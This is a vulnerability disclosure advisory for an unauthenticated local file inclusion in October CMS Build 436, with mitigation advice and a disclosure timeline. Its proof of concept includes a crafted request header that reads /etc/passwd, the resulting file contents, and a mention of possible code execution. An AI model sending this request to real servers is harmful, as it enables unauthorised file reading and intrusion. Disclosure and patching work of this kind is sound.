LFI from X-OCTOBER-REQUEST-PARTIALS
request header in October CMS.
Background
Back-end partials are files with the extension .htm
that reside in the controller's views directory. The partial file names start with underscore: _partial.htm
. Partials can be requested with the X-OCTOBER-REQUEST-PARTIALS
header. Normally the header only contains a partial’s file name, but it’s possible to specify a full path to any file when requesting backend partials and it will be included as PHP code.
Proof of Concept
Version tested
Build 436, released on May 20, 2018 [http://octobercms.com/changelog]
Preconditions
- The backend login page (or any other backend path) must be accessible
Steps to reproduce
-
Set up a proxy to capture requests (e.g. Burp Suite)
-
Visit the backend login page (
/backend/backend/auth/signin
) and click the Login button. This generates a request like the following:POST /backend/backend/auth/signin HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 129 Cookie: october_session=eyJpdiI6IkhMS1RGaXhYTXJnRXQ2YzNXTE9sd0E9PSIsInZhbHVlIjoiYkdta0NLNlBzeXJWaHE2SmxpZjBTZlwvREdBeStPT0YzM3E4TTBVNXZCVlNWT0V4TGE4aHRIVHhEaTM5VWVpSjJXTklxdkh3S01Ud09VTXBETDhIMmZRPT0iLCJtYWMiOiIzZjJjMWY0MWUzYjdmNWYxNWRhZjU3ZTkxMjYzNDU5MzQ0OTkyY2FlZDE3OGZmZmJmMjIzOTBlOTQyMzk2MzYyIn0%3D Connection: close _session_key=afFbGOvq7Ek4J76VRgGDXMzOqEowEhTh3gB494uO&_token=mGqltxXikkZHUQmwj1NBwLuqIMCJyDcT85DyLuk1&postback=1&login=&password=</code>
-
Modify the request to look like this, to read out for example
/etc/passwd
POST /backend/backend/auth/signin HTTP/1.1 X-OCTOBER-REQUEST-HANDLER: onAjax X-OCTOBER-REQUEST-PARTIALS: /etc/passwd X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Content-Length: 129 Cookie: october_session=eyJpdiI6IkhMS1RGaXhYTXJnRXQ2YzNXTE9sd0E9PSIsInZhbHVlIjoiYkdta0NLNlBzeXJWaHE2SmxpZjBTZlwvREdBeStPT0YzM3E4TTBVNXZCVlNWT0V4TGE4aHRIVHhEaTM5VWVpSjJXTklxdkh3S01Ud09VTXBETDhIMmZRPT0iLCJtYWMiOiIzZjJjMWY0MWUzYjdmNWYxNWRhZjU3ZTkxMjYzNDU5MzQ0OTkyY2FlZDE3OGZmZmJmMjIzOTBlOTQyMzk2MzYyIn0%3D Connection: close _session_key=afFbGOvq7Ek4J76VRgGDXMzOqEowEhTh3gB494uO&_token=mGqltxXikkZHUQmwj1NBwLuqIMCJyDcT85DyLuk1&postback=1&login=&password=
Response:
HTTP/1.1 200 OK Content-Length: 2555 Connection: close Content-Type: application/json {"\/etc\/passwd":"root:x:0:0::\/root:\/bin\/bash\nbin:x:1:1::\/:\/sbin\/nologin\ndaemon:x:2:2::\/:\/sbin\/nologin\nmail:x:8:12::\/var\/spool\/mail:\/sbin\/nologin\nftp:x:14:11::\/srv\/ftp:\/sbin\/nologin\nhttp:x:33:33::\/srv\/http:\/sbin\/nologin\nnobody:x:65534:65534:Nobody:\/:\/sbin\/nologin\ndbus:x:81:81:System Message ...
Under certain conditions it's possible to achieve remote code execution, but that is left as an exercise to the reader.
Risk
Risk level is high since it allows unauthenticated actors to read sensitive system files and under certain conditions execute arbitrary PHP code.
Mitigation & suggestions
The vulnerability has been fixed in Build 437 released on Jun 22, 2018. In previous builds, the vulnerability can be mitigated by not exposing the CMS backend to everyone.
The vulnerability occurs because user input is used in dynamic PHP includes. If dynamic includes from user input are an absolute necessity then what is included must be strictly checked against a whitelist.
Vulnerability disclosure timeline
Date | Who | What |
---|---|---|
2018-06-20 | Andres Liiver / Clarified Security | Discovered vulnerability during pen-test |
2018-06-21 | me > October CMS | Notification |
2018-07-11 | me > MITRE DWF | Requested CVE |
2018-07-21 | MITRE > me | CVE assigned |
2018-07-27 | me | Full disclosure |
Links
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1999009
http://octobercms.com/support/article/rn-10